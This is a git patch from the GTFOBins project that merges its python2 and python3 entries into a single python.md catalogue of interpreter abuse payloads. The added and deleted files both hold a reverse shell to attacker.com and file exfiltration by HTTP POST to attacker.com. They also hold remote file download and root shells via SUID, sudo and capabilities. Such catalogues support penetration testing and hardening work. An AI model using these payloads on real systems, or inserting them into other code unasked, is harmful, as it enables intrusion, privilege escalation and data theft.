From 1222c37802ebae286d4978ea7b5daaac084cda1c Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 25 Sep 2018 21:41:31 +0100 Subject: [PATCH] Merge python2 and python3 --- _gtfobins/python.md | 52 ++++++++++++++++++++++++++++++++++++++++++++ _gtfobins/python2.md | 41 ---------------------------------- _gtfobins/python3.md | 39 --------------------------------- 3 files changed, 52 insertions(+), 80 deletions(-) create mode 100644 _gtfobins/python.md delete mode 100644 _gtfobins/python2.md delete mode 100644 _gtfobins/python3.md diff --git a/_gtfobins/python.md b/_gtfobins/python.md new file mode 100644 index 0000000..f7f996d --- /dev/null +++ b/_gtfobins/python.md @@ -0,0 +1,52 @@ +--- +description: The payloads are compatible with both Python version 2 and 3. +functions: + execute-interactive: + - code: python -c 'import os; os.system("/bin/sh")' + reverse-shell-interactive: + - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. + code: | + export RHOST=attacker.com + export RPORT=12345 + python -c 'import sys,socket,os,pty;s=socket.socket() + s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) + [os.dup2(s.fileno(),fd) for fd in (0,1,2)] + pty.spawn("/bin/sh")' + upload: + - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. + code: | + export URL=http://attacker.com/ + export LFILE=file_to_send + python -c 'import sys; from os import environ as e + if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u + else: import urllib as u, urllib2 as r + r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' + - description: Serve files in the local folder running an HTTP server. + code: | + export LPORT=8888 + python -c 'import sys; from os import environ as e + if sys.version_info.major == 3: import http.server as s, socketserver as ss + else: import SimpleHTTPServer as s, SocketServer as ss + ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' + download: + - description: Fetch a remote file via HTTP GET request. + code: | + export URL=http://attacker.com/file_to_get + export LFILE=file_to_save + python -c 'import sys; from os import environ as e + if sys.version_info.major == 3: import urllib.request as r + else: import urllib as r + r.urlretrieve(e["URL"], e["LFILE"])' + file-write: + - code: python -c 'open("file_to_write","w+").write("DATA")' + file-read: + - code: python -c 'print(open("file_to_read").read())' + load-library: + - code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' + suid-enabled: + - code: ./python -c 'import os; os.system("/bin/sh -p")' + sudo-enabled: + - code: sudo python -c 'import os; os.system("/bin/sh")' + capabilities-enabled: + - code: ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' +--- diff --git a/_gtfobins/python2.md b/_gtfobins/python2.md deleted file mode 100644 index 76eb6c9..0000000 --- a/_gtfobins/python2.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -functions: - execute-interactive: - - code: python2 -c 'import os; os.system("/bin/sh")' - reverse-shell-interactive: - - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. - code: | - export RHOST=attacker.com - export RPORT=12345 - python2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' - upload: - - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. - code: | - export URL=http://attacker.com/ - export LFILE=file_to_send - python2 -c 'import urllib as u,urllib2 as u2; - from os import environ as e; - u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))' - - description: Serve files in the local folder running an HTTP server. - code: | - export LPORT=8888 - python2 -m SimpleHTTPServer $LPORT - download: - - description: Fetch a remote file via HTTP GET request. - code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save - python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])' - file-write: - - code: python2 -c 'open("file_to_write","w+").write("DATA")' - file-read: - - code: python2 -c 'open("file_to_read").read()' - load-library: - - code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' - suid-enabled: - - code: ./python2 -c 'import os; os.system("/bin/sh -p")' - sudo-enabled: - - code: sudo python2 -c 'import os; os.system("/bin/sh")' - capabilities-enabled: - - code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")' ---- diff --git a/_gtfobins/python3.md b/_gtfobins/python3.md deleted file mode 100644 index 5779825..0000000 --- a/_gtfobins/python3.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -functions: - execute-interactive: - - code: python3 -c 'import os; os.system("/bin/sh")' - reverse-shell-interactive: - - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. - code: | - export RHOST=attacker.com - export RPORT=12345 - python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' - upload: - - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. - code: | - export URL=http://attacker.com/ - export LFILE=file_to_send - python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' - - description: Serve files in the local folder running an HTTP server. - code: | - export LPORT=8888 - python3 -m http.server $LPORT - download: - - description: Fetch a remote file via HTTP GET request. - code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save - python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])' - file-write: - - code: python3 -c 'open("file_to_write","w+").write("DATA")' - file-read: - - code: python3 -c 'open("file_to_read").read()' - load-library: - - code: python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' - suid-enabled: - - code: ./python3 -c 'import os; os.system("/bin/sh -p")' - sudo-enabled: - - code: sudo python3 -c 'import os; os.system("/bin/sh")' - capabilities-enabled: - - code: ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ----